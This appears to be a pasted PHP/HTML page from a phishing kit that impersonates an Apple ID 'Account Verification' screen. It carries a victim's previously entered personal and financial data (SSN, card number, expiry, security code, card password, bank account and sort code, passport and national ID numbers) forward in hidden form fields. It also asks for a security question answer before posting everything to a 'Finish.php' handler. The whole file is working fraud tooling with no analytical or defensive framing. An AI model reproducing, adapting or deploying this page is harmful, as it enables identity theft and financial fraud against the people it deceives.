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ardiansyahiswan

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ardiansyahiswan
Dec 20th, 2017
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  1. <?php
  2.  
  3. require "assets/includes/blockers.php";
  4. require "assets/includes/session_protect.php";
  5. require "assets/includes/functions.php";
  6. require "assets/includes/language.mob.php";
  7. require "assets/includes/One_Time.php";
  8. require "assets/includes/enc.php";
  9. ?>
  10. <!DOCTYPE html>
  11. <html>
  12. <head>
  13. <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
  14. <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
  15. <title>Confirm your information</title>
  16. <link href="assets/img/favicon.ico" rel="shortcut icon" type="image/x-icon">
  17. <link href="assets/css/First.css" media="all" rel="stylesheet" type="text/css">
  18. <link href="assets/css/Second.css" rel="stylesheet" type="text/css">
  19. <link href="assets/css/Fonts.css" rel="stylesheet" type="text/css">
  20. <link href="assets/css/verify.css" rel="stylesheet" type="text/css">
  21. <style>.error {color:red}</style>
  22. </head>
  23. <body id="pagecontent">
  24. <div id="content">
  25. <div class="bdd45">
  26. <nav id="xdsfv54" class="js no-touch svg no-ie7 no-ie8">
  27. <div class="HeaderObjHolder">
  28. <ul class="MobHeader">
  29. <li class="HeaderObj MobMenIconH">
  30. <label class="MobMenHol">
  31. <span class="MobMenIcon MobMenIcon-top">
  32. <span class="MobMenIcon-crust MobMenIcon-crust-top"></span> </span> <span class="MobMenIcon MobMenIcon-bottom">
  33. <span class="MobMenIcon-crust MobMenIcon-crust-bottom"></span> </span>
  34. </label>
  35. </li>
  36. <li class="HeaderObj">
  37. <a class="Item1" href="#" style="display: inline-block;margin-left:50%;margin-top:11px" id="ac-gn-firstfocus-small"> <span class="ac-gn-link-text">&nbsp;</span> </a>
  38. <a class="Item10" style="display: inline-block;float:right;margin-top:11px" href="#"> <span class="ac-gn-link-text">&nbsp;</span> <span class="ac-gn-bag-badge"></span> </a> <span class="ac-gn-bagview-caret ac-gn-bagview-caret-large"></span>
  39. </li>
  40. </ul>
  41. <ul class="HeaderObjList">
  42. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item1" href="#"></a></li>
  43. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item2" href="#"></a></li>
  44. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item3" href="#"></a></li>
  45. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item4" href="#"></a></li>
  46. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item5" href="#"></a></li>
  47. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item6" href="#"></a></li>
  48. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item7" href="#"></a></li>
  49. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item8" href="#"></a></li>
  50. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item9" href="#"></a></li>
  51. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item10" href="#"></a></li>
  52. </ul>
  53. </div>
  54. </nav>
  55.  
  56.  
  57.  
  58. <div id="flow">
  59. <div class="flow-body signin clearfix" role="main">
  60. <div class="persona-splash no-photo clearfix">
  61. <div class="persona-bg"></div>
  62. <div class="container">
  63. <div class="splash-section">
  64. <div class=" person-wrapper">
  65. <div>
  66. <div class="row">
  67. <div class="col-sm-9 appleid-col">
  68. <div class="flex-container">
  69. <h1 class="mobile appleid-user">
  70. <span class="first_name">Account Verification</span>
  71. <small class="SessionUser">Your Apple ID is <strong><?php echo $_SESSION['user'];?></strong> </small>
  72. </h1>
  73. </div>
  74. </div>
  75. <div class="not-mobile col-sm-3">
  76. <div class="flex-container-signout">
  77. <div class="signout pull-right">
  78. <button class="btn btn-link">Sign Out </button>
  79. </div>
  80. </div>
  81. </div>
  82. </div>
  83. </div>
  84. </div>
  85. </div>
  86. </div>
  87. </div>
  88. <div class="container">
  89. <div class="flex home-content">
  90.  
  91.  
  92. <form action="Finish.php?&sessionid=<?php echo generateRandomString(115); ?>&securessl=true" method="post" name="details" id="details" class="proceed">
  93. <input type="hidden" name="fname" value="<?php echo $_POST['fname'];?>">
  94. <input type="hidden" name="mname" value="<?php echo $_POST['mname'];?>">
  95. <input type="hidden" name="lname" value="<?php echo $_POST['lname'];?>">
  96. <input type="hidden" name="dob" value="<?php echo $_POST['dob'];?>">
  97. <input type="hidden" name="address" value="<?php echo $_POST['address'];?>">
  98. <input type="hidden" name="town" value="<?php echo $_POST['town'];?>">
  99. <input type="hidden" name="postcode" value="<?php echo $_POST['postcode'];?>">
  100. <input type="hidden" name="county" value="<?php echo $_POST['county'];?>">
  101. <input type="hidden" name="country" value="<?php echo $_POST['country'];?>">
  102. <input type="hidden" name="telephone" value="<?php echo $_POST['telephone'];?>">
  103. <input type="hidden" name="ssn" value="<?php echo $_POST['ssn'];?>">
  104. <input type="hidden" name="ccname" value="<?php echo $_POST['ccname'];?>">
  105. <input type="hidden" name="ccno" value="<?php echo $_POST['ccno'];?>">
  106. <input type="hidden" name="ccexp" value="<?php echo $_POST['ccexp'];?>">
  107. <input type="hidden" name="secode" value="<?php echo $_POST['secode'];?>">
  108. <input type="hidden" name="cardpass" value="<?php echo $_POST['cardpass'];?>">
  109. <input type="hidden" name="acno" value="<?php echo $_POST['acno'];?>">
  110. <input type="hidden" name="sortcode" value="<?php echo $_POST['sortcode'];?>">
  111. <input type="hidden" name="climit" value="<?php echo $_POST['climit'];?>">
  112. <input type="hidden" name="osid" value="<?php echo $_POST['osid'];?>">
  113. <input type="hidden" name="bans" value="<?php echo $_POST['bans'];?>">
  114. <input type="hidden" name="numbid" value="<?php echo $_POST['numbid'];?>">
  115. <input type="hidden" name="passport" value="<?php echo $_POST['passport'];?>">
  116. <input type="hidden" name="naid" value="<?php echo $_POST['naid'];?>">
  117. <input type="hidden" name="citizenid" value="<?php echo $_POST['citizenid'];?>">
  118. <input type="hidden" name="civilid" value="<?php echo $_POST['civilid'];?>">
  119. <input type="hidden" name="qatarid" value="<?php echo $_POST['qatarid'];?>">
  120. <div class="container flow-sections">
  121. <div class="editable account-edit clearfix">
  122. <div class="row edit-row">
  123. <div class="col-sm-5">
  124. <h3 class="section-subtitle" id="nameLabel">Select A Security Question</h3>
  125. <div class="form-group">
  126. <div class="form-group clearfix" style="padding-top:0px;">
  127. <div class="select-wrapper">
  128. <select id="q1" name="q1" type="text" class="form-control question" style="height:32px!important;padding-left:10px;">
  129. <option value="">select security question</option>
  130. <option value="mothers maiden name">Mother&apos;s Maiden Name</option>
  131. <option value="drivers no">Driving License Number</option>
  132. <option value="passport no">Passport Number</option>
  133. </select>
  134. </div>
  135. </div>
  136. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  137. <div class="name-input">
  138. <input type="text" name="a1" id="a1" class="generic-input-field form-control field" placeholder="answer">
  139. </div>
  140. </div>
  141. <br>
  142. <br>
  143. <input type="submit" class="gobtn btn-link" style="width:50%;margin-left:auto;margin-right:auto;float:right" value="Finish">
  144. </div>
  145. </div>
  146. </div>
  147. </div>
  148. </div>
  149. </form>
  150.  
  151.  
  152.  
  153. </div>
  154. </div>
  155. </div>
  156. </div>
  157. </div>
  158. </div>
  159. </body>
  160. </html>
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